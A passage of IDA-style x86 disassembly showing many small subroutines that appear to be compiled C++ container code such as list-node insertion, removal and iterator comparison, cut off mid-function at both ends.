call sub_401ED8
sub_415140 endp
; ---------------------------------------------------------------------------
lea ecx, [esp+14h]
mov [esi+4], eax
push ecx
mov ecx, edi
mov dword ptr [esi+8], 0
call sub_4016D6
mov edx, [eax]
lea eax, [esp+8]
push edx
push eax
mov ecx, edi
call sub_40113B
mov ecx, [eax]
lea edx, [esp+10h]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
mov ecx, esi
push eax
call sub_401735
mov eax, esi
pop edi
pop esi
add esp, 8
retn 4
; ---------------------------------------------------------------------------
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4151C0 proc near ; CODE XREF: sub_401582j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401D9D
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40146F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401CE9
sub_4151C0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415230 proc near ; CODE XREF: sub_4012E9j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401DBB
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415230 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415270 proc near ; CODE XREF: sub_401D9Dj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401DBB
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415270 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4152A0 proc near ; CODE XREF: sub_401488j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_401D9D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40217B
sub_4152A0 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4152E0 proc near ; CODE XREF: sub_401258j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_401D9D
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_4012E9
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401D70
test al, al
jz short loc_41536D
push edi
mov edi, [esp+14h+arg_0]
loc_41531F: ; CODE XREF: sub_4152E0+8Aj
lea ecx, [esp+14h+var_C]
call sub_401FC3
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415351
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_401578
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_401FCD
; ---------------------------------------------------------------------------
jmp short loc_41535A
; ---------------------------------------------------------------------------
loc_415351: ; CODE XREF: sub_4152E0+4Ej
lea ecx, [esp+14h+var_C]
call sub_4020C2
loc_41535A: ; CODE XREF: sub_4152E0+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401D70
test al, al
jnz short loc_41531F
pop edi
loc_41536D: ; CODE XREF: sub_4152E0+38j
pop esi
add esp, 0Ch
retn 4
sub_4152E0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153B0 proc near ; CODE XREF: sub_401E38j
push esi
mov esi, ecx
call sub_401ED3
mov eax, esi
pop esi
retn
sub_4153B0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153D0 proc near ; CODE XREF: sub_401FC3j
mov eax, [ecx]
push eax
call sub_401F19
add esp, 4
retn
sub_4153D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4153F0 proc near ; CODE XREF: sub_4020C2j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_4153F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415420 proc near ; CODE XREF: sub_401D70j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4015D7
neg al
sbb eax, eax
inc eax
retn 4
sub_415420 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415450 proc near ; CODE XREF: sub_401F23j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401C8F
sub_415450 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415490 proc near ; CODE XREF: sub_4011B8j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401E33
sub_415490 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415500 proc near ; CODE XREF: sub_401992j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401CDA
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415500 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415540 proc near ; CODE XREF: sub_402257j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401CDA
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415540 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415570 proc near ; CODE XREF: sub_401F0Fj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_402257
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401AAA
sub_415570 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4155B0 proc near ; CODE XREF: sub_401933j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40132F
pop esi
add esp, 0Ch
retn
sub_4155B0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415600 proc near ; CODE XREF: sub_401154j
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_402257
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401992
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401AEB
test al, al
jz short loc_41568D
push edi
mov edi, [esp+14h+arg_0]
loc_41563F: ; CODE XREF: sub_415600+8Aj
lea ecx, [esp+14h+var_C]
call sub_4011D1
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415671
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_4010DC
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_4017E9
; ---------------------------------------------------------------------------
jmp short loc_41567A
; ---------------------------------------------------------------------------
loc_415671: ; CODE XREF: sub_415600+4Ej
lea ecx, [esp+14h+var_C]
call sub_4018C5
loc_41567A: ; CODE XREF: sub_415600+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401AEB
test al, al
jnz short loc_41563F
pop edi
loc_41568D: ; CODE XREF: sub_415600+38j
pop esi
add esp, 0Ch
retn 4
sub_415600 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4156D0 proc near ; CODE XREF: sub_401037j
push esi
mov esi, ecx
call sub_401E97
mov eax, esi
pop esi
retn
sub_4156D0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4156F0 proc near ; CODE XREF: sub_4011D1j
mov eax, [ecx]
push eax
call sub_402144
add esp, 4
retn
sub_4156F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415710 proc near ; CODE XREF: sub_4018C5j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401249
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415710 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415740 proc near ; CODE XREF: sub_401AEBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401EC4
neg al
sbb eax, eax
inc eax
retn 4
sub_415740 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415770 proc near ; CODE XREF: sub_401852j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_401DB6
sub_415770 endp
; ---------------------------------------------------------------------------
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_4157B0 proc near ; CODE XREF: sub_4014BFj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40140B
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_401F14
sub_4157B0 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415820 proc near ; CODE XREF: sub_401901j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_401BCC
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_401D7A
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415820 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415860 proc near ; CODE XREF: sub_40114Aj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_401D7A
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415860 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415890 proc near ; CODE XREF: sub_401410j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [esp+4+arg_0]
push esi
mov esi, ecx
push eax
lea ecx, [esp+0Ch+arg_0]
push ecx
mov ecx, esi
call sub_40114A
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401D11
sub_415890 endp
; ---------------------------------------------------------------------------
pop esi
pop ecx
retn 4
; ---------------------------------------------------------------------------
db 7 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4158D0 proc near ; CODE XREF: sub_401C76j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40140B
pop esi
add esp, 0Ch
retn
sub_4158D0 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415920 proc near ; CODE XREF: sub_40214Ej
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
sub esp, 0Ch
lea eax, [esp+0Ch+var_4]
push esi
mov esi, ecx
push eax
call sub_40114A
mov ecx, [eax]
lea edx, [esp+10h+var_4]
mov [esp+10h+var_8], ecx
push edx
mov ecx, esi
call sub_401901
mov eax, [eax]
lea ecx, [esp+10h+var_8]
push ecx
lea ecx, [esp+14h+var_C]
mov [esp+14h+var_C], eax
call sub_401339
test al, al
jz short loc_4159AD
push edi
mov edi, [esp+14h+arg_0]
loc_41595F: ; CODE XREF: sub_415920+8Aj
lea ecx, [esp+14h+var_C]
call sub_40135C
mov edx, [eax]
mov eax, [edi]
cmp edx, eax
jnz short loc_415991
lea eax, [esp+14h+arg_0]
push 0
push eax
lea ecx, [esp+1Ch+var_C]
call sub_401EBF
mov ecx, [eax]
lea edx, [esp+14h+var_4]
push ecx
push edx
mov ecx, esi
call sub_401078
; ---------------------------------------------------------------------------
jmp short loc_41599A
; ---------------------------------------------------------------------------
loc_415991: ; CODE XREF: sub_415920+4Ej
lea ecx, [esp+14h+var_C]
call sub_40118B
loc_41599A: ; CODE XREF: sub_415920+6Fj
lea eax, [esp+14h+var_8]
lea ecx, [esp+14h+var_C]
push eax
call sub_401339
test al, al
jnz short loc_41595F
pop edi
loc_4159AD: ; CODE XREF: sub_415920+38j
pop esi
add esp, 0Ch
retn 4
sub_415920 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4159F0 proc near ; CODE XREF: sub_402275j
push esi
mov esi, ecx
call sub_401E42
mov eax, esi
pop esi
retn
sub_4159F0 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A10 proc near ; CODE XREF: sub_40135Cj
mov eax, [ecx]
push eax
call sub_4017E4
add esp, 4
retn
sub_415A10 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A30 proc near ; CODE XREF: sub_40118Bj
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_401BCC
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_415A30 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A60 proc near ; CODE XREF: sub_401339j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_401456
neg al
sbb eax, eax
inc eax
retn 4
sub_415A60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415A90 proc near ; CODE XREF: sub_40113Bj
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
push eax
call sub_4020A9
mov ecx, [eax]
add esp, 4
push ecx
lea ecx, [esp+8+var_4]
call sub_40175D
mov edx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], edx
pop ecx
retn 4
sub_415A90 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415AD0 proc near ; CODE XREF: sub_4016D6j
var_4 = byte ptr -4
arg_0 = dword ptr 4
push ecx
mov eax, [ecx+4]
lea ecx, [esp+4+var_4]
push eax
call sub_40175D
mov ecx, [eax]
mov eax, [esp+4+arg_0]
mov [eax], ecx
pop ecx
retn 4
sub_415AD0 endp
; ---------------------------------------------------------------------------
db 6 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415B00 proc near ; CODE XREF: sub_40217Bj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401C62
mov edi, eax
push edi
call sub_401104
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401ED8
sub_415B00 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401104
push edi
mov [eax], ebx
call sub_401104
mov edi, [eax]
push edi
call sub_401104
mov ecx, [eax]
push ecx
call sub_4020A9
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_401F19
add esp, 4
mov ecx, esi
push eax
call sub_4021B7
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401DBB
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415BA0 proc near ; CODE XREF: sub_401735j
arg_0 = dword ptr 4
arg_4 = byte ptr 8
arg_8 = byte ptr 0Ch
push esi
mov esi, ecx
lea eax, [esp+4+arg_8]
lea ecx, [esp+4+arg_4]
push eax
call sub_401CBC
test al, al
jz short loc_415BED
push edi
mov edi, [esp+8+arg_0]
loc_415BBA: ; CODE XREF: sub_415BA0+4Aj
lea ecx, [esp+8+arg_4]
call sub_401A5F
push eax
lea ecx, [esp+0Ch+arg_0]
push edi
push ecx
mov ecx, esi
call sub_40217B
; ---------------------------------------------------------------------------
lea ecx, [esp+8+arg_4]
call sub_40210D
lea edx, [esp+8+arg_8]
lea ecx, [esp+8+arg_4]
push edx
call sub_401CBC
test al, al
jnz short loc_415BBA
pop edi
loc_415BED: ; CODE XREF: sub_415BA0+13j
pop esi
retn 0Ch
sub_415BA0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415C20 proc near ; CODE XREF: sub_401FCDj
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_401578
mov ecx, eax
call sub_401C62
mov esi, eax
push esi
call sub_4020A9
push esi
mov ebx, eax
call sub_401104
mov ecx, [eax]
push ecx
call sub_4020A9
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401104
push esi
mov ebx, eax
call sub_4020A9
mov eax, [eax]
push eax
call sub_401104
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401F19
add esp, 1Ch
mov ecx, edi
push eax
call sub_401500
push esi
mov ecx, edi
call sub_401CE9
sub_415C20 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415CE0 proc near ; CODE XREF: sub_40146Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401D70
test al, al
jz short loc_415D3A
loc_415CF8: ; CODE XREF: sub_415CE0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_401578
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_401FCD
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_401D70
test al, al
jnz short loc_415CF8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_415D3A: ; CODE XREF: sub_415CE0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_415CE0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415D70 proc near ; CODE XREF: sub_401ED8j
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_4020F4
sub_415D70 endp
; ---------------------------------------------------------------------------
mov edi, [esp+0Ch]
mov esi, eax
test edi, edi
jnz short loc_415D85
mov edi, esi
loc_415D85: ; CODE XREF: ___:00415D81j
push esi
call sub_4020A9
mov [eax], edi
mov edi, [esp+14h]
add esp, 4
test edi, edi
jnz short loc_415D9A
mov edi, esi
loc_415D9A: ; CODE XREF: ___:00415D96j
push esi
call sub_401104
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415DC0 proc near ; CODE XREF: sub_401CE9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401E1A
sub_415DC0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415DE0 proc near ; CODE XREF: sub_4020A9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_415DE0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E00 proc near ; CODE XREF: sub_401F19j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_415E00 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E20 proc near ; CODE XREF: sub_401ED3j
mov eax, ecx
retn
sub_415E20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E40 proc near ; CODE XREF: sub_401DBBj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_40175D
mov eax, esi
pop esi
retn 4
sub_415E40 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415E70 proc near ; CODE XREF: sub_401578j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_4020C2
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_415E70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_415EA0 proc near ; CODE XREF: sub_4015D7j
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_415EA0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415ED0 proc near ; CODE XREF: sub_401AAAj
arg_4 = byte ptr 8
push ebx
push esi
mov esi, ecx
push edi
lea ecx, [esp+0Ch+arg_4]
call sub_401F8C
mov edi, eax
push edi
call sub_401163
mov eax, [eax]
add esp, 4
mov ecx, esi
push eax
push edi
call sub_401C8F
sub_415ED0 endp
; ---------------------------------------------------------------------------
push edi
mov ebx, eax
call sub_401163
push edi
mov [eax], ebx
call sub_401163
mov edi, [eax]
push edi
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [esp+28h]
add esp, 10h
mov [eax], edi
push edx
push edi
call sub_402144
add esp, 4
mov ecx, esi
push eax
call sub_4015F0
mov ecx, [esi+8]
push edi
inc ecx
mov [esi+8], ecx
lea ecx, [esp+1Ch]
call sub_401CDA
mov ecx, [eax]
mov eax, [esp+10h]
pop edi
pop esi
mov [eax], ecx
pop ebx
retn 0Ch
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_415F70 proc near ; CODE XREF: sub_4017E9j
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4010DC
mov ecx, eax
call sub_401F8C
mov esi, eax
push esi
call sub_401249
push esi
mov ebx, eax
call sub_401163
mov ecx, [eax]
push ecx
call sub_401249
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401163
push esi
mov ebx, eax
call sub_401249
mov eax, [eax]
push eax
call sub_401163
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_402144
add esp, 1Ch
mov ecx, edi
push eax
call sub_401D61
push esi
mov ecx, edi
call sub_401E33
sub_415F70 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_416030 proc near ; CODE XREF: sub_40132Fj
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_401AEB
test al, al
jz short loc_41608A
loc_416048: ; CODE XREF: sub_416030+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4010DC
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_4017E9
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
